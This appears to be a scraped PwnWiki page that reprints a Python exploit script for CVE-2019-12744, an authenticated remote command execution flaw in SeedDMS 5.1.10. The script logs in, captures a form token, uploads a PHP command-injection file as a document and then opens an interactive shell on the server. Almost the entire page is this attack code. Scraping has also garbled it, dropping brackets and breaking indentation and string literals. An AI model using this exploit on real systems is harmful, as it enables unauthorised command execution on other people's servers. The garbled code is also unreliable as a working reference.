Loading
0

CVE-2019-12744 Seeddms 5.1.10 远程代码执行漏洞

免费、自由、人人(PwnWiki.Com)可编辑的漏洞库

,

影响版本

Version: Seeddms 5.1.10

EXP

# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) 
# Date: 25/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.seeddms.org/index.php?id=2
# Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/
# Version: Seeddms 5.1.10
# Tested on: Windows 7 x64
# CVE: CVE-2019-12744

import requests
import argparse
import sys
import random
import string
from bs4 import BeautifulSoup
from requests_toolbelt import MultipartEncoder

def sysArgument():
    ap = argparse.ArgumentParser()

    ap.add_argument("-u", "--username", required=True, help="login username")
    ap.add_argument("-p", "--password", required=True, help="login password")
    ap.add_argument("--url", required=True, help="target URL Path")

    args = vars(ap.parse_args())

    return args'username', args'password', args'url' 

def login(sessionObj, username, password, url):
    loginPath = "/op/op.Login.php"    
    url += loginPath

    postData = {
        'login': username,
        'pwd': password,
        'lang' : 'en_GB'
    }
    try:
        rsl = sessionObj.post(url, data=postData)

        if(rsl.status_code == 200):
            if "Error signing in. User ID or password incorrect." in rsl.text:
                print("! Incorrect Credential.")
            else:
                print("* Login Successful.") 
                print("* Session Token: " + sessionObj.cookies.get_dict()'mydms_session')
                return sessionObj                
                
        else:
            print("! Something went wrong.")    
            print("Status Code: %d" % (rsl.status_code))
            sys.exit(0)
    except Exception as e:
        print("! Something Went Wrong!")
        print(e)
        sys.exit(0)

    return sessionObj

def formTokenCapturing(sessionObj, url):
    path = "/out/out.AddDocument.php?folderid=1&showtree=1"
    url += path
    formToken = ""

    try:        
        rsl = sessionObj.get(url)

        if(rsl.status_code == 200):
            print("* Captured Form Token.")

            #extracting form token
            soup = BeautifulSoup(rsl.text,'html.parser')
            form1 = soup.findAll("form", {"id": "form1"})
            
            soup = BeautifulSoup(str(form10),'html.parser')
            formToken = soup.find("input", {"name": "formtoken"})            
            print("* Form Token: " + formToken.attrs'value')
            
            return sessionObj, formToken.attrs'value'
        else:
            print("! Something went wrong.")    
            print("Status Code: %d" % (rsl.status_code))
            sys.exit(0)

    except Exception as e:
        print("! Something Went Wrong!")
        print(e)
        sys.exit(0)

    return sessionObj, formToken

def uploadingPHP(sessionObj, url, formToken):
    path = "/op/op.AddDocument.php"
    url += path

    #generating random name
    letters = string.ascii_lowercase
    rand_name = ''.join(random.choice(letters) for i in range(20))

    #POST Data
    payload = {
        'formtoken' : formToken,
        'folderid' : '1',
        'showtree' : '1',
        'name' : rand_name,
        'comment' : '',
        'keywords' : '',
        'sequence' : '2',
        'presetexpdate' : 'never',
        'expdate' : '',
        'ownerid' : '1',
        'reqversion' : '1',
        'userfile' : (
            '%s.php' % (rand_name),           
            open('phpCmdInjection.php', 'rb'), 
            'application/x-httpd-php'
            ),
        'version_comment' : ''
    }
    
    multiPartEncodedData = MultipartEncoder(payload)

    try:                
        rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type})

        if(rsl.status_code == 200):
            print("* Command Injection PHP Code Uploaded.")
            print("* Name in Document Content Shows: " + rand_name)

            return sessionObj, rand_name
        else:
            print("! Something went wrong.")    
            print("Status Code: %d" % (rsl.status_code))
            sys.exit(0)


    except Exception as e:
        print("! Something Went Wrong!")
        print(e)
        sys.exit(0)

    return sessionObj, rand_name

def getDocID(sessionObj, url, docName):
    path = "/out/out.ViewFolder.php?folderid=1"
    url += path
    
    try:        
        rsl = sessionObj.get(url)

        if(rsl.status_code == 200):
            #searching & extracting document id storing payload
            soup = BeautifulSoup(rsl.text,'html.parser')
            viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"})
            
            soup = BeautifulSoup(str(viewFolderTables0),'html.parser')
            rowsDoc = soup.findAll("tr", {"class": "table-row-document"})            

            for i in range(len(rowsDoc)):
                soup = BeautifulSoup(str(rowsDoci),'html.parser')
                tdExtracted = soup.findAll("td") 
                
                foundDocName = tdExtracted1.contents0.contents0

                #when document name matched uploaded document name
                if(foundDocName == docName):
                    print("* Found Payload Document Name. Extracting Document ID...")
                    tmp = tdExtracted1.contents0.attrs'href'.split('?')
                    docID = tmp1.replace("&showtree=1", "").replace('documentid=', '')

                    print("* Document ID: " + docID)

                    return sessionObj, docID

            #after loops & still unable to find matched uploaded Document Name
            print("! Unable to find document ID.")
            sys.exit(0)
            
        else:
            print("! Something went wrong.")    
            print("Status Code: %d" % (rsl.status_code))
            sys.exit(0)

    except Exception as e:
        print("! Something Went Wrong!")
        print(e)
        sys.exit(0)

    return sessionObj

def shell(sessionObj, url, docID):
    #remove the directory /seeddms-5.1.x
    splitUrl = url.split('/')
    remLastDir = splitUrl:-1

    url = ""
    #recontruct url
    for text in remLastDir:
        url += text + "/"

    #path storing uploaded php code
    path = "/data/1048576/%s/1.php" % docID
    url += path

    #checking does the uploaded php exists?
    rsl = sessionObj.get(url)

    if(rsl.status_code == 200):
        print("* PHP Script Exist!")
        print("* Injecting some shell command.")

        #1st test injecting whoami command
        data = {
            'cmd' : 'whoami'
        }

        rsl = sessionObj.post(url, data=data)

        if(rsl.text != ""):
            print("* There's response from the PHP script!")
            print('* System Current User: ' + rsl.text.replace("<pre>", "").replace("

", ""))

           print("* Spawning Shell. type .exit to exit the shell", end="\n\n")
           #start shell iteration
           while(True):
               cmd = input("Seeddms Shell$ ")
               if(cmd == ".exit"):
                   print("* Exiting shell.")
                   sys.exit(0)
               data = {
                   'cmd' : cmd
               }
               rsl = sessionObj.post(url, data=data)

print(rsl.text.replace("

", "").replace("

", ""))

       else:
           print("! No response from PHP script. Something went wrong.")
           sys.exit(0)
   else:
       print("! PHP Script Not Found!!")
       print(rsl.status_code)
       sys.exit(0)

def main():

   username, password, url = sysArgument()
   sessionObj = requests.Session()    
   #getting session token from logging in    
   sessionObj = login(sessionObj, username, password, url)
   #capturing form token for adding document
   sessionObj, formToken = formTokenCapturing(sessionObj, url)
   #uploading php code for system command injection
   sessionObj, docName = uploadingPHP(sessionObj, url, formToken)
   #getting document id
   sessionObj, docID = getDocID(sessionObj, url, docName)
   
   #spawning shell to exec system Command
   shell(sessionObj, url, docID)

if __name__ == "__main__":

   main()

pwnwiki.com